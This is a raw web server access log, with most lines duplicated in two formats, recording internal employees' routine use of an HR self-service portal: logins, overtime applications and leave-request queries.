"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.27619957773824544 HTTP/1.1" 200 8816 192.168.11.144 - - [01/Dec/2025:08:57:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.27619957773824544 HTTP/1.1" 200 16781 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.27619957773824544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.27619957773824544 HTTP/1.1" 200 16781 192.168.11.144 - - [01/Dec/2025:08:57:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4273 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4273 192.168.11.144 - - [01/Dec/2025:08:57:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [01/Dec/2025:08:57:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [01/Dec/2025:08:57:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [01/Dec/2025:08:57:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [01/Dec/2025:08:57:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14890 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [01/Dec/2025:08:57:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14890 192.168.11.133 - - [01/Dec/2025:08:58:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.133 - - [01/Dec/2025:08:58:16 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:16 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.133 - - [01/Dec/2025:08:58:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20162 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20162 192.168.11.133 - - [01/Dec/2025:08:58:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.133 - - [01/Dec/2025:08:58:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6525 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6525 192.168.11.133 - - [01/Dec/2025:08:58:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:58:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.133 - - [01/Dec/2025:08:58:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:58:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:58:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:58:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:58:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8382 192.168.11.133 - - [01/Dec/2025:08:59:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.133 - - [01/Dec/2025:08:59:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10646 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:08:59:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.133 - - [01/Dec/2025:08:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14465 